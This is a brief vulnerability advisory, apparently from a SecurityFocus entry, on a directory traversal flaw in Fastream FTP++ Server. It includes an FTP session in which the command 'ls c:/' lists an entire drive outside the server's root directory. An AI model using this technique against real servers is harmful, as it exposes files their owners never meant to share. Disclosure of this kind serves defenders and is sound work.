source: https://www.securityfocus.com/bid/2267/info

It is possible for a remote uesr to gain read permissions outside of the Faststream FTP++ Server directory. By requesting an 'ls' command along with the drive name, Fastream FTP++ will disclose the contents of the requested drive.

ftp> pwd
257 "/C:/FTPROOT/" is current directory.
ftp> ls c:/
200 Port command successful.
150 Opening data connection for directory list.

(listing of c:\)